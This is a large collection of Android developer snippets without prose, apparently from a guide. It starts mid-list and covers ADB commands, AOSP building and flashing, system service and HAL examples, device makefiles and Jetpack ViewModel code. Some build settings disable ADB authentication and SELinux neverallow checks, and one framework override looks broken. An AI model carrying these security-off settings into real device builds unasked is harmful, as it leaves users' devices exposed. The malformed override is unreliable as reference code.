adb shell pm list packages -s

# Search for specific package
adb shell pm list packages | grep keyword

# Get path of installed package
adb shell pm path com.example.app

# Get app information
adb shell dumpsys package com.example.app

# Clear app data
adb shell pm clear com.example.app

# Enable/Disable app
adb shell pm enable com.example.app
adb shell pm disable com.example.app

# Start an activity
adb shell am start -n com.example.app/.MainActivity

# Start activity with data
adb shell am start -a android.intent.action.VIEW -d "https://example.com"

# Start service
adb shell am startservice com.example.app/.MyService

# Broadcast intent
adb shell am broadcast -a android.intent.action.BOOT_COMPLETED

# Force stop app
adb shell am force-stop com.example.app

# Kill app process
adb shell am kill com.example.app

# Copy file from device to computer
adb pull /sdcard/file.txt ~/Desktop/

# Copy file from computer to device
adb push ~/Desktop/file.txt /sdcard/

# Copy directory recursively
adb pull /sdcard/DCIM/ ~/Pictures/

# Copy with progress display
adb pull /sdcard/large_file.mp4 .

# Push multiple files
adb push file1.txt file2.txt /sdcard/

# Access device shell
adb shell

# Navigate directories (once in shell)
cd /sdcard
ls -la
pwd

# Create directory
adb shell mkdir /sdcard/NewFolder

# Remove file
adb shell rm /sdcard/file.txt

# Remove directory
adb shell rm -r /sdcard/OldFolder

# Change file permissions
adb shell chmod 777 /sdcard/file.txt

# View file contents
adb shell cat /sdcard/file.txt

# Search for files
adb shell find /sdcard -name "*.txt"

# View all logs
adb logcat

# Clear log buffer
adb logcat -c

# View logs with specific priority
adb logcat *:E  # Error
adb logcat *:W  # Warning
adb logcat *:I  # Info
adb logcat *:D  # Debug
adb logcat *:V  # Verbose

# Filter by tag
adb logcat -s MyApp

# Filter by multiple tags
adb logcat -s MyApp:D ActivityManager:W

# Save logs to file
adb logcat > logfile.txt

# View logs with timestamp
adb logcat -v time

# View logs in different formats
adb logcat -v brief
adb logcat -v process
adb logcat -v tag
adb logcat -v thread
adb logcat -v raw
adb logcat -v long

# Filter using grep
adb logcat | grep "keyword"

# View specific buffer
adb logcat -b radio   # Radio/telephony logs
adb logcat -b events  # Event logs
adb logcat -b main    # Main application logs
adb logcat -b system  # System logs
adb logcat -b crash   # Crash logs

# Continuous monitoring with color
adb logcat -v color

# Generate bug report
adb bugreport

# Save bug report to file
adb bugreport > bugreport.txt

# Generate zipped bug report (Android 7.0+)
adb bugreport bugreport.zip

# Take screenshot
adb shell screencap /sdcard/screenshot.png
adb pull /sdcard/screenshot.png

# Take screenshot (one command)
adb exec-out screencap -p > screenshot.png

# Record screen (Ctrl+C to stop)
adb shell screenrecord /sdcard/demo.mp4

# Record with time limit (max 180 seconds)
adb shell screenrecord --time-limit 30 /sdcard/demo.mp4

# Record with specific size
adb shell screenrecord --size 1280x720 /sdcard/demo.mp4

# Record with specific bitrate
adb shell screenrecord --bit-rate 6000000 /sdcard/demo.mp4

# Pull recorded video
adb pull /sdcard/demo.mp4

# Tap at coordinates (x, y)
adb shell input tap 500 1000

# Swipe from (x1,y1) to (x2,y2) over duration ms
adb shell input swipe 500 1000 500 200 300

# Type text
adb shell input text "Hello%sWorld"  # %s represents space

# Press key
adb shell input keyevent KEYCODE_HOME
adb shell input keyevent KEYCODE_BACK
adb shell input keyevent KEYCODE_MENU
adb shell input keyevent 3  # Home key (key code)

# Common key codes
# KEYCODE_HOME = 3
# KEYCODE_BACK = 4
# KEYCODE_MENU = 82
# KEYCODE_POWER = 26
# KEYCODE_VOLUME_UP = 24
# KEYCODE_VOLUME_DOWN = 25

# Reboot device
adb reboot

# Reboot to recovery mode
adb reboot recovery

# Reboot to bootloader
adb reboot bootloader

# Shutdown device (requires root)
adb shell reboot -p

# Wake up screen
adb shell input keyevent KEYCODE_WAKEUP

# Sleep screen
adb shell input keyevent KEYCODE_SLEEP

# Check WiFi status
adb shell dumpsys wifi

# Enable WiFi
adb shell svc wifi enable

# Disable WiFi
adb shell svc wifi disable

# Check network connectivity
adb shell ping -c 4 google.com

# Get IP address
adb shell ip addr show wlan0

# Enable/Disable data
adb shell svc data enable
adb shell svc data disable

# Get setting value
adb shell settings get system screen_brightness

# Set setting value
adb shell settings put system screen_brightness 100

# Common settings namespaces:
# - system: User preferences
# - secure: Secure system settings
# - global: Device-wide settings

# Enable airplane mode
adb shell settings put global airplane_mode_on 1
adb shell am broadcast -a android.intent.action.AIRPLANE_MODE

# Disable animations (for testing)
adb shell settings put global window_animation_scale 0
adb shell settings put global transition_animation_scale 0
adb shell settings put global animator_duration_scale 0

# Get system information
adb shell dumpsys

# Battery information
adb shell dumpsys battery

# Memory usage
adb shell dumpsys meminfo
adb shell dumpsys meminfo com.example.app

# CPU usage
adb shell dumpsys cpuinfo

# Display information
adb shell dumpsys display

# Activity information
adb shell dumpsys activity

# Current activity
adb shell dumpsys activity activities | grep mResumedActivity

# Package information
adb shell dumpsys package com.example.app

# Window information
adb shell dumpsys window

# Monitor CPU usage
adb shell top

# Monitor specific process
adb shell top | grep com.example.app

# Get process list
adb shell ps

# Get process info by name
adb shell ps | grep com.example.app

# Memory stats
adb shell procrank

# Disk usage
adb shell df

# Network statistics
adb shell netstat

# Access app database (requires root or debuggable app)
adb shell run-as com.example.app

# Navigate to database directory
cd /data/data/com.example.app/databases/

# Pull database
adb exec-out run-as com.example.app cat databases/mydb.db > mydb.db

# Query database using sqlite3
adb shell "run-as com.example.app sqlite3 databases/mydb.db 'SELECT * FROM users;'"

# Generate random events
adb shell monkey -p com.example.app 1000

# Monkey with specific event types
adb shell monkey -p com.example.app --pct-touch 70 --pct-motion 30 1000

# Monkey with seed (reproducible)
adb shell monkey -p com.example.app -s 100 1000

# Throttle events (delay in ms)
adb shell monkey -p com.example.app --throttle 500 1000

# Ignore crashes and continue
adb shell monkey -p com.example.app --ignore-crashes 1000

# Dump UI hierarchy
adb shell uiautomator dump

# Pull UI hierarchy XML
adb pull /sdcard/window_dump.xml

# Run UI Automator test
adb shell uiautomator runtest UiAutomatorTest.jar -c com.example.test.MyTest

#!/bin/bash

# Install app on all connected devices
for device in $(adb devices | grep -v "List" | awk '{print $1}'); do
    echo "Installing on device: $device"
    adb -s $device install app.apk
done

# Clear app data on all devices
for device in $(adb devices | grep -v "List" | awk '{print $1}'); do
    echo "Clearing data on device: $device"
    adb -s $device shell pm clear com.example.app
done

#!/bin/bash

# Take screenshot and save with timestamp
timestamp=$(date +"%Y%m%d_%H%M%S")
filename="screenshot_${timestamp}.png"

adb exec-out screencap -p > "$filename"
echo "Screenshot saved: $filename"

#!/bin/bash

# Monitor logs for specific package
package="com.example.app"
adb logcat | grep --line-buffered "$package" | while read line; do
    echo "[$(date +"%H:%M:%S")] $line"
done

# Check USB connection
lsusb  # Linux
system_profiler SPUSBDataType  # macOS

# Restart ADB
adb kill-server
adb start-server

# Check device authorization
# Accept the authorization prompt on device

# Check USB debugging is enabled
# Revoke USB debugging authorizations and reconnect
# Settings > Developer Options > Revoke USB Debugging Authorizations

# Linux: Add udev rules
sudo vim /etc/udev/rules.d/51-android.rules
# Add: SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", MODE="0666", GROUP="plugdev"
sudo udevadm control --reload-rules

# Specify device with -s flag
adb -s 1234567890ABCDEF shell

# Or use -d for physical device, -e for emulator
adb -d shell  # Physical device
adb -e shell  # Emulator

# Connection
adb devices                    # List devices
adb connect IP:5555           # Connect via WiFi

# Apps
adb install app.apk           # Install app
adb uninstall package.name    # Uninstall app
adb shell pm list packages    # List packages

# Files
adb push local remote         # Upload file
adb pull remote local         # Download file

# Shell
adb shell                     # Interactive shell
adb shell command             # Run single command

# Logs
adb logcat                    # View logs
adb logcat -c                 # Clear logs

# Screen
adb shell screencap /sdcard/s.png    # Screenshot
adb shell screenrecord /sdcard/v.mp4 # Record screen

# System
adb reboot                    # Reboot device
adb shell dumpsys battery     # Battery info

# Ubuntu/Debian
sudo apt-get update
sudo apt-get install -y \
    git-core gnupg flex bison build-essential zip curl zlib1g-dev \
    libc6-dev-i386 libncurses5 lib32ncurses5-dev x11proto-core-dev \
    libx11-dev lib32z1-dev libgl1-mesa-dev libxml2-utils xsltproc \
    unzip fontconfig python3 python3-pip rsync bc schedtool lzop \
    imagemagick libssl-dev repo ccache adb fastboot

# Configure Git
git config --global user.name "Your Name"
git config --global user.email "your.email@example.com"

# Install repo tool (alternative method)
mkdir -p ~/bin
curl https://storage.googleapis.com/git-repo-downloads/repo > ~/bin/repo
chmod a+x ~/bin/repo
export PATH=~/bin:$PATH

# Create working directory
mkdir -p ~/aosp
cd ~/aosp

# Initialize repo for specific Android version
# Android 14
repo init -u https://android.googlesource.com/platform/manifest -b android-14.0.0_r1

# Or latest master
repo init -u https://android.googlesource.com/platform/manifest -b master

# Sync source code (this takes hours)
repo sync -c -j$(nproc) --force-sync --no-clone-bundle --no-tags

# For faster subsequent syncs
repo sync -c -j$(nproc) --force-sync

# Source build environment
cd ~/aosp
source build/envsetup.sh

# This adds important commands:
# - lunch: Select build target
# - m: Build from top of tree
# - mm: Build current directory
# - mma: Build current directory and dependencies
# - mmm: Build specific directory
# - croot: Change to repo root
# - cgrep: Search C/C++ files
# - jgrep: Search Java files

aosp/
├── art/                    # Android Runtime (ART)
├── bionic/                 # C library, math, and dynamic linker
├── bootable/              # Boot and recovery related
│   └── recovery/          # Recovery mode implementation
├── build/                 # Build system
│   ├── soong/            # Soong build system (Go)
│   └── make/             # Legacy Make-based build
├── cts/                   # Compatibility Test Suite
├── dalvik/                # Dalvik VM (legacy)
├── developers/            # Sample apps and docs
├── development/           # Development tools
├── device/                # Device-specific configurations
│   ├── google/           # Google devices
│   └── [vendor]/[device]/ # Device configurations
├── external/              # External projects and libraries
│   ├── chromium-webview/
│   ├── sqlite/
│   └── ...
├── frameworks/            # Android framework
│   ├── base/             # Core framework (services, APIs)
│   ├── native/           # Native framework libraries
│   ├── av/               # Audio/Video framework
│   └── opt/              # Optional frameworks
├── hardware/              # HAL definitions and implementations
│   ├── interfaces/       # HIDL/AIDL interface definitions
│   ├── libhardware/      # Legacy HAL
│   └── [vendor]/         # Vendor HAL implementations
├── kernel/                # Kernel source (if included)
├── packages/              # System packages and apps
│   ├── apps/             # System apps (Settings, Dialer, etc.)
│   ├── services/         # System services
│   └── providers/        # Content providers
├── pdk/                   # Platform Development Kit
├── platform_testing/      # Platform tests
├── prebuilts/            # Prebuilt binaries and tools
│   ├── sdk/
│   └── gcc/
├── sdk/                   # SDK source
├── system/                # Core system components
│   ├── core/             # Init, toolbox, debuggerd
│   ├── bt/               # Bluetooth stack
│   ├── netd/             # Network daemon
│   └── vold/             # Volume daemon
├── toolchain/            # Toolchain utilities
├── tools/                # Development tools
├── vendor/               # Vendor-specific code
│   └── [vendor]/         # Vendor proprietary code
└── out/                  # Build output (created during build)
    └── target/
        └── product/
            └── [device]/  # Built images

# Source environment
source build/envsetup.sh

# List available targets
lunch

# Common targets:
# aosp_arm64-eng          - Generic ARM64, engineering build
# aosp_x86_64-eng         - Generic x86_64, engineering build
# aosp_cf_x86_64_phone-userdebug  - Cuttlefish virtual device

# Select target
lunch aosp_x86_64-eng

# Full build (clean build)
m -j$(nproc)

# This typically takes 1-6 hours depending on hardware

# Incremental build (after changes)
m -j$(nproc)

# Build specific module
m [module_name]

# Examples:
m SystemUI              # Build System UI
m framework            # Build framework
m services             # Build system services

# Build with verbose output
m showcommands

# Clean build
m clean                # Clean all
m installclean        # Clean installed files (faster)

out/target/product/[device]/
├── system.img          # System partition
├── vendor.img          # Vendor partition
├── boot.img           # Boot image (kernel + ramdisk)
├── userdata.img       # User data partition
├── recovery.img       # Recovery image
├── vbmeta.img         # Verified boot metadata
└── [device]-img.zip   # Flashable images package

// frameworks/base/core/java/android/os/IMyService.aidl
package android.os;

/** {@hide} */
interface IMyService {
    String getMessage();
    void setMessage(String message);
}

// frameworks/base/services/core/java/com/android/server/MyService.java
package com.android.server;

import android.content.Context;
import android.os.IMyService;

public class MyService extends IMyService.Stub {
    private final Context mContext;
    private String mMessage = "Default message";

    public MyService(Context context) {
        mContext = context;
    }

    @Override
    public String getMessage() {
        return mMessage;
    }

    @Override
    public void setMessage(String message) {
        mMessage = message;
        // You might want to persist this
    }

    public void onStart() {
        // Service initialization
    }
}

// frameworks/base/services/java/com/android/server/SystemServer.java

import com.android.server.MyService;

private void startOtherServices() {
    // ... existing services ...

    MyService myService = null;
    try {
        Slog.i(TAG, "My Service");
        myService = new MyService(context);
        ServiceManager.addService("myservice", myService);
    } catch (Throwable e) {
        reportWtf("starting My Service", e);
    }

    // ... more services ...
}

// frameworks/base/core/java/android/os/MyManager.java
package android.os;

import android.annotation.SystemService;
import android.content.Context;

@SystemService(Context.MY_SERVICE)
public class MyManager {
    private final IMyService mService;

    /** {@hide} */
    public MyManager(Context context, IMyService service) {
        mService = service;
    }

    public String getMessage() {
        try {
            return mService.getMessage();
        } catch (RemoteException e) {
            throw e.rethrowFromSystemServer();
        }
    }

    public void setMessage(String message) {
        try {
            mService.setMessage(message);
        } catch (RemoteException e) {
            throw e.rethrowFromSystemServer();
        }
    }
}

// frameworks/base/core/java/android/app/SystemServiceRegistry.java

import android.os.MyManager;

static {
    // ... existing service registrations ...

    registerService(Context.MY_SERVICE, MyManager.class,
        new CachedServiceFetcher<MyManager>() {
            @Override
            public MyManager createService(ContextImpl ctx) {
                IBinder b = ServiceManager.getService(Context.MY_SERVICE);
                IMyService service = IMyService.Stub.asInterface(b);
                return new MyManager(ctx, service);
            }
        });
}

// frameworks/base/core/java/android/os/SystemProperties.java

/**
 * Get system property value
 * @hide
 */
@SystemApi
public static String getSystemProperty(String key, String defaultValue) {
    return SystemProperties.get(key, defaultValue);
}

/**
 * @hide
 */
@SystemApi
@RequiresPermission(android.Manifest.permission.READ_PRIVILEGED_PHONE_STATE)
public void privilegedMethod() {
    // Implementation
}

<!-- frameworks/base/core/res/AndroidManifest.xml -->

<permission
    android:name="android.permission.MY_CUSTOM_PERMISSION"
    android:protectionLevel="signature|privileged"
    android:label="@string/permlab_myCustomPermission"
    android:description="@string/permdesc_myCustomPermission" />

// frameworks/base/services/core/java/com/android/server/MyService.java

public void privilegedOperation() {
    mContext.enforceCallingOrSelfPermission(
        android.Manifest.permission.MY_CUSTOM_PERMISSION,
        "Requires MY_CUSTOM_PERMISSION");

    // Perform operation
}

// frameworks/base/services/core/java/com/android/server/am/ActivityManagerService.java

public class ActivityManagerService extends IActivityManager.Stub {

    // Add custom behavior
    @Override
    public void startActivity(/* parameters */) {
        // Custom pre-processing
        Slog.d(TAG, "Custom: Starting activity");

        // Original logic
        super.startActivity(/* parameters */);

        // Custom post-processing
        notifyCustomListeners();
    }
}

# system/sepolicy/private/myservice.te

type myservice, domain;
type myservice_exec, exec_type, file_type;

# Allow myservice to be started by init
init_daemon_domain(myservice)

# Allow reading/writing specific files
allow myservice system_data_file:dir rw_dir_perms;
allow myservice system_data_file:file create_file_perms;

# Allow binder communication
binder_use(myservice)
binder_call(myservice, system_server)

# system/sepolicy/private/file_contexts

/system/bin/myservice    u:object_r:myservice_exec:s0
/data/system/myservice(/.*)? u:object_r:system_data_file:s0

// hardware/interfaces/mydevice/1.0/IMyDevice.hal

package android.hardware.mydevice@1.0;

interface IMyDevice {
    /**
     * Initialize device
     * @return status Operation status
     */
    initialize() generates (Status status);

    /**
     * Read data from device
     * @return status Operation status
     * @return data Data read from device
     */
    readData() generates (Status status, vec<uint8_t> data);

    /**
     * Write data to device
     * @param data Data to write
     * @return status Operation status
     */
    writeData(vec<uint8_t> data) generates (Status status);
};

// hardware/interfaces/mydevice/1.0/default/MyDevice.cpp

#include <android/hardware/mydevice/1.0/IMyDevice.h>

namespace android::hardware::mydevice::V1_0::implementation {

class MyDevice : public IMyDevice {
public:
    Return<Status> initialize() override {
        // Initialize hardware
        return Status::OK;
    }

    Return<void> readData(readData_cb _hidl_cb) override {
        std::vector<uint8_t> data;
        // Read from hardware
        _hidl_cb(Status::OK, data);
        return Void();
    }

    Return<Status> writeData(const hidl_vec<uint8_t>& data) override {
        // Write to hardware
        return Status::OK;
    }
};

} // namespace

// Android.bp

// Java library
java_library {
    name: "my-library",
    srcs: ["src/**/*.java"],
    sdk_version: "current",

    static_libs: [
        "androidx.core_core",
    ],

    libs: [
        "framework",
    ],
}

// System app
android_app {
    name: "MySystemApp",
    srcs: ["src/**/*.java"],
    resource_dirs: ["res"],
    manifest: "AndroidManifest.xml",

    platform_apis: true,
    certificate: "platform",
    privileged: true,

    static_libs: [
        "my-library",
    ],
}

// Native library
cc_library_shared {
    name: "libmynative",
    srcs: ["native/*.cpp"],

    shared_libs: [
        "liblog",
        "libutils",
    ],

    cflags: [
        "-Wall",
        "-Werror",
    ],
}

// Native binary
cc_binary {
    name: "myservice",
    srcs: ["service/*.cpp"],

    shared_libs: [
        "libmynative",
        "libbinder",
    ],

    init_rc: ["myservice.rc"],
}

// Prebuilt APK
android_app_import {
    name: "PrebuiltApp",
    apk: "prebuilt/app.apk",
    certificate: "PRESIGNED",
    privileged: true,
}

android_app {
    name: "MyApp",

    // Source files
    srcs: ["src/**/*.java"],
    resource_dirs: ["res"],
    manifest: "AndroidManifest.xml",

    // SDK version
    platform_apis: true,  // or sdk_version: "current"
    min_sdk_version: "30",

    // Signing
    certificate: "platform",  // platform, shared, media, testkey

    // Privileges
    privileged: true,  // Install in /system/priv-app
    system_ext_specific: true,  // Install in /system_ext
    product_specific: true,  // Install in /product
    vendor: true,  // Install in /vendor

    // Dependencies
    static_libs: ["lib1", "lib2"],
    libs: ["framework"],

    // Optimization
    optimize: {
        enabled: true,
        shrink: true,
        obfuscate: false,
    },

    // Overrides (replaces existing app)
    overrides: ["OriginalApp"],
}

# Build specific module
m MySystemApp

# Build and install to device
m MySystemApp && adb sync

# Build all modules in current directory
mm

# Build module and dependencies
mma

# Build modules in specific directory
mmm frameworks/base/packages/SystemUI/

device/manufacturer/codename/
├── Android.mk
├── AndroidProducts.mk
├── BoardConfig.mk
├── device.mk
├── [codename].mk
├── system.prop
├── vendor.prop
├── proprietary-files.txt
├── extract-files.sh
├── setup-makefiles.sh
├── overlay/           # Runtime resource overlays
├── sepolicy/         # Device-specific SELinux policies
├── init/            # Init scripts
│   ├── init.device.rc
│   └── ueventd.device.rc
├── configs/         # Hardware configs
│   ├── audio/
│   ├── wifi/
│   └── media/
└── kernel/          # Kernel build config

# device/manufacturer/codename/device.mk

# Inherit from common device config
$(call inherit-product, $(SRC_TARGET_DIR)/product/core_64_bit.mk)
$(call inherit-product, $(SRC_TARGET_DIR)/product/full_base_telephony.mk)

# Device identifier
PRODUCT_NAME := aosp_codename
PRODUCT_DEVICE := codename
PRODUCT_BRAND := Manufacturer
PRODUCT_MODEL := Device Model
PRODUCT_MANUFACTURER := manufacturer

# Build properties
PRODUCT_PROPERTY_OVERRIDES += \
    ro.build.fingerprint=custom-fingerprint \
    ro.product.board=codename

# Packages to include
PRODUCT_PACKAGES += \
    SystemUI \
    Settings \
    Launcher3 \
    MyCustomApp

# Copy device-specific files
PRODUCT_COPY_FILES += \
    $(LOCAL_PATH)/configs/audio/audio_policy.conf:$(TARGET_COPY_OUT_VENDOR)/etc/audio_policy.conf \
    $(LOCAL_PATH)/init/init.device.rc:$(TARGET_COPY_OUT_VENDOR)/etc/init/init.device.rc

# Vendor partition
$(call inherit-product, vendor/manufacturer/codename/codename-vendor.mk)

# device/manufacturer/codename/BoardConfig.mk

# Architecture
TARGET_ARCH := arm64
TARGET_ARCH_VARIANT := armv8-a
TARGET_CPU_ABI := arm64-v8a
TARGET_CPU_VARIANT := generic

TARGET_2ND_ARCH := arm
TARGET_2ND_ARCH_VARIANT := armv7-a-neon
TARGET_2ND_CPU_ABI := armeabi-v7a
TARGET_2ND_CPU_VARIANT := generic

# Bootloader
TARGET_BOOTLOADER_BOARD_NAME := codename
TARGET_NO_BOOTLOADER := true

# Kernel
BOARD_KERNEL_CMDLINE := console=ttyMSM0,115200n8
BOARD_KERNEL_BASE := 0x80000000
BOARD_KERNEL_PAGESIZE := 4096
TARGET_PREBUILT_KERNEL := $(LOCAL_PATH)/kernel
# Or build from source:
# TARGET_KERNEL_SOURCE := kernel/manufacturer/codename
# TARGET_KERNEL_CONFIG := codename_defconfig

# Partitions
BOARD_FLASH_BLOCK_SIZE := 131072
BOARD_BOOTIMAGE_PARTITION_SIZE := 67108864
BOARD_SYSTEMIMAGE_PARTITION_SIZE := 3221225472
BOARD_USERDATAIMAGE_PARTITION_SIZE := 10737418240
BOARD_VENDORIMAGE_PARTITION_SIZE := 1073741824

# Filesystem
TARGET_USERIMAGES_USE_EXT4 := true
TARGET_USERIMAGES_USE_F2FS := true
BOARD_VENDORIMAGE_FILE_SYSTEM_TYPE := ext4

# SELinux
BOARD_SEPOLICY_DIRS += $(LOCAL_PATH)/sepolicy/vendor
SELINUX_IGNORE_NEVERALLOWS := true

# Verified Boot
BOARD_AVB_ENABLE := true
BOARD_AVB_MAKE_VBMETA_IMAGE_ARGS += --flag 2

# Build emulator target
lunch aosp_x86_64-eng
m -j$(nproc)

# Run emulator
emulator

# Or with specific options
emulator -memory 4096 -cores 4 -gpu host

# Boot into bootloader
adb reboot bootloader

# Unlock bootloader (if needed, wipes data)
fastboot flashing unlock

# Flash images
fastboot flashall -w

# Or flash individually
fastboot flash boot out/target/product/[device]/boot.img
fastboot flash system out/target/product/[device]/system.img
fastboot flash vendor out/target/product/[device]/vendor.img

# Reboot
fastboot reboot

# Lock bootloader (optional)
fastboot flashing lock

# View logs
adb logcat

# Filter by tag
adb logcat -s MyService

# View system server logs
adb logcat | grep SystemServer

# View kernel logs
adb shell dmesg

# Interactive debugging with GDB
gdbclient -p [process-name]

# Trace system calls
adb shell strace -p [pid]

# Build and sync to device
m -j$(nproc) && adb sync

# Sync only system partition
adb sync system

# Restart specific service
adb shell stop [service]
adb shell start [service]

# Restart system server (careful - disruptive)
adb shell stop
adb shell start

# Reboot to recovery
adb reboot recovery

# Reboot to bootloader
adb reboot bootloader

packages/apps/MySystemApp/
├── Android.bp
├── AndroidManifest.xml
├── src/
└── res/

android_app {
    name: "MySystemApp",
    srcs: ["src/**/*.java"],
    resource_dirs: ["res"],
    manifest: "AndroidManifest.xml",
    platform_apis: true,
    certificate: "platform",
    privileged: true,
}

PRODUCT_PACKAGES += MySystemApp

# Build framework
m framework services

# Sync to device
adb sync system

# Restart system
adb shell stop && adb shell start

# Edit system properties
vim device/manufacturer/codename/system.prop

# Add properties:
# ro.my.property=value
# persist.my.property=value

# Rebuild and flash
m -j$(nproc)
fastboot flashall

# Build target files
m target-files-package

# Generate OTA
./build/tools/releasetools/ota_from_target_files \
    out/target/product/[device]/obj/PACKAGING/target_files_intermediates/aosp_[device]-target_files.zip \
    ota-package.zip

# Apply OTA
adb sideload ota-package.zip

# Edit device.mk
PRODUCT_PROPERTY_OVERRIDES += \
    ro.secure=0 \
    ro.debuggable=1 \
    ro.adb.secure=0

# Or use userdebug/eng variants
lunch aosp_[device]-userdebug

┌─────────────────────────────┐
│   Android Framework         │  /system
├─────────────────────────────┤
│   VNDK (Vendor NDK)         │  ABI stability
├─────────────────────────────┤
│   Vendor Implementation     │  /vendor
│   (HALs, Drivers)           │
└─────────────────────────────┘

# GKI structure
kernel/
├── common/              # GKI kernel
└── common-modules/     # Loadable kernel modules

# Build GKI
cd kernel/common
BUILD_CONFIG=common/build.config.gki.aarch64 build/build.sh

// APEX module definition
apex {
    name: "com.android.mymodule",
    manifest: "manifest.json",
    file_contexts: "file_contexts",
    key: "com.android.mymodule.key",
    certificate: ":com.android.mymodule.certificate",

    java_libs: [
        "mymodule-lib",
    ],

    prebuilts: [
        "mymodule-config",
    ],
}

// manifest.json
{
  "name": "com.android.mymodule",
  "version": 1
}

# Run CTS
cd android-cts/tools
./cts-tradefed

# Run specific test
run cts -m CtsPermissionTestCases

# Run VTS (Vendor Test Suite)
./vts-tradefed
run vts

# 1. Create topic branch
repo start my-feature .

# 2. Make changes
vim frameworks/base/core/java/android/app/Activity.java

# 3. Build and test
m -j$(nproc)
adb sync
# Test changes

# 4. Commit
git add -A
git commit -m "Add feature X

Bug: 123456
Test: Manual testing on device
Change-Id: I..."

# Upload for review
repo upload .

# Or with git
git push ssh://[user]@android-review.googlesource.com:29418/platform/frameworks/base HEAD:refs/for/master

# Amend and re-upload
git commit --amend
repo upload .

# Sync all projects
repo sync -c -j$(nproc)

# Sync specific project
repo sync frameworks/base

# Rebase local changes
repo rebase

# Use ccache
export USE_CCACHE=1
export CCACHE_DIR=~/.ccache
ccache -M 100G

# Parallel builds
m -j$(nproc)

# Incremental builds
m installclean  # Instead of clean

// Optimize framework code
public class MyService {
    // Use object pools
    private final Pools.SynchronizedPool<Message> mPool
        = new Pools.SynchronizedPool<>(10);

    // Avoid allocations in hot paths
    private final ArrayList<Item> mReusableList = new ArrayList<>();

    public void processItems() {
        mReusableList.clear();
        // Reuse list instead of creating new
    }
}

// Use weak references for callbacks
private final WeakHashMap<Context, Callback> mCallbacks
    = new WeakHashMap<>();

// Clear large data structures
@Override
public void onDestroy() {
    mLargeCache.clear();
    mBitmapCache.clear();
}

// Always validate input
public void handleData(String input) {
    if (input == null || input.isEmpty()) {
        throw new IllegalArgumentException("Invalid input");
    }

    // Sanitize before use
    String sanitized = input.replaceAll("[^a-zA-Z0-9]", "");
}

// Check permissions
mContext.enforceCallingPermission(
    android.Manifest.permission.MY_PERMISSION,
    "Requires MY_PERMISSION");

// Use SELinux policies
// Define in sepolicy/

import android.util.Slog;

// System server logging
Slog.d(TAG, "Debug message");
Slog.i(TAG, "Info message");
Slog.w(TAG, "Warning message");
Slog.e(TAG, "Error message");

// App logging
android.util.Log.d(TAG, "Message");

// Conditional logging
if (DEBUG) {
    Slog.v(TAG, "Verbose debug info");
}

try {
    riskyOperation();
} catch (Exception e) {
    Slog.e(TAG, "Operation failed", e);
    // Report to system
    if (mContext != null) {
        mContext.sendBroadcast(new Intent(ACTION_ERROR));
    }
}

# Clean build
make clean
m -j$(nproc)

# Check dependencies
m modules
m nothing

# Fix repo state
repo forall -c 'git reset --hard'
repo sync -j$(nproc)

# Check boot logs
adb wait-for-device
adb logcat -b all

# Kernel logs
adb shell dmesg

# Check SELinux denials
adb shell cat /sys/fs/selinux/enforce
adb logcat | grep avc:

# Check system services
adb shell dumpsys

# Specific service
adb shell dumpsys activity
adb shell dumpsys package

# Check crashes
adb shell cat /data/tombstones/tombstone_*

# Memory info
adb shell dumpsys meminfo

# Setup
repo init -u https://android.googlesource.com/platform/manifest -b master
repo sync -c -j$(nproc)
source build/envsetup.sh
lunch aosp_x86_64-eng

# Build
m -j$(nproc)                    # Full build
m [module]                      # Build module
mm                              # Build current directory
mmm path/to/module/            # Build specific path

# Flash
adb reboot bootloader
fastboot flashall -w

# Debug
adb logcat
adb shell dumpsys
adb sync

# Navigation
croot                          # Go to repo root
cgrep [pattern]               # Search C/C++ files
jgrep [pattern]               # Search Java files

// build.gradle.kts
dependencies {
    implementation("androidx.lifecycle:lifecycle-viewmodel-ktx:2.7.0")
    implementation("androidx.lifecycle:lifecycle-viewmodel-compose:2.7.0")
}

import androidx.lifecycle.ViewModel
import androidx.lifecycle.viewModelScope
import kotlinx.coroutines.flow.MutableStateFlow
import kotlinx.coroutines.flow.StateFlow
import kotlinx.coroutines.flow.asStateFlow
import kotlinx.coroutines.launch

data class User(val id: String, val name: String, val email: String)

class UserViewModel(
    private val repository: UserRepository
) : ViewModel() {
    // StateFlow for Compose (preferred over LiveData)
    private val _uiState = MutableStateFlow<UiState>(UiState.Loading)
    val uiState: StateFlow<UiState> = _uiState.asStateFlow()

    sealed class UiState {
        object Loading : UiState()
        data class Success(val users: List<User>) : UiState()
        data class Error(val message: String) : UiState()
    }

    init {
        loadUsers()
    }

    fun loadUsers() {
        viewModelScope.launch {
            _uiState.value = UiState.Loading
            try {
                val users = repository.getUsers()
                _uiState.value = UiState.Success(users)
            } catch (e: Exception) {
                _uiState.value = UiState.Error(e.message ?: "Unknown error")
            }
        }
    }

    fun refreshUsers() {
        loadUsers()
    }

    override fun onCleared() {
        super.onCleared()
        // Clean up resources if needed
    }
}

@Composable
fun UserScreen(
    viewModel: UserViewModel = viewModel()
) {
    val uiState by viewModel.uiState.collectAsStateWithLifecycle()

    when (uiState) {
        is UserViewModel.UiState.Loading -> {
            CircularProgressIndicator()
        }
        is UserViewModel.UiState.Success -> {
            val users = (uiState as UserViewModel.UiState.Success).users
            UserList(users = users, onRefresh = { viewModel.refreshUsers() })
        }
        is UserViewModel.UiState.Error -> {
            val message = (uiState as UserViewModel.UiState.Error).message
            ErrorView(message = message, onRetry = { viewModel.loadUsers() })
        }
    }
}

// LiveData example (traditional Views)
class LegacyViewModel : ViewModel() {
    private val _users = MutableLiveData<List<User>>()
    val users: LiveData<List<User>> = _users

    fun loadUsers() {
        viewModelScope.launch {
            _users.value = repository.getUsers()
        }
    }
}

// StateFlow example (Compose-first)
class ModernViewModel : ViewModel() {
    private val _users = MutableStateFlow<List<User>>(emptyList())
    val users: StateFlow<List<User>> = _users.asStateFlow()

    fun loadUsers() {
        viewModelScope.launch {
            _users.value = repository.getUsers()
        }
    }
}

@Composable
fun ObserveLiveData(viewModel: LegacyViewModel) {
    val users by viewModel.users.observeAsState(initial = emptyList())
    UserList(users = users)
}

import androidx.lifecycle.DefaultLifecycleObserver
import androidx.lifecycle.LifecycleOwner
import androidx.lifecycle.ProcessLifecycleOwner

class AppLifecycleObserver : DefaultLifecycleObserver {
    override fun onStart(owner: LifecycleOwner) {
        // App moved to foreground
        Log.d("AppLifecycle", "App in foreground")
    }

    override fun onStop(owner: LifecycleOwner) {
        // App moved to background
        Log.d("AppLifecycle", "App in background")
    }
}

// In Application class
class MyApplication : Application() {
    override fun onCreate() {
        super.onCreate()
        ProcessLifecycleOwner.get().lifecycle.addObserver(AppLifecycleObserver())
    }
}

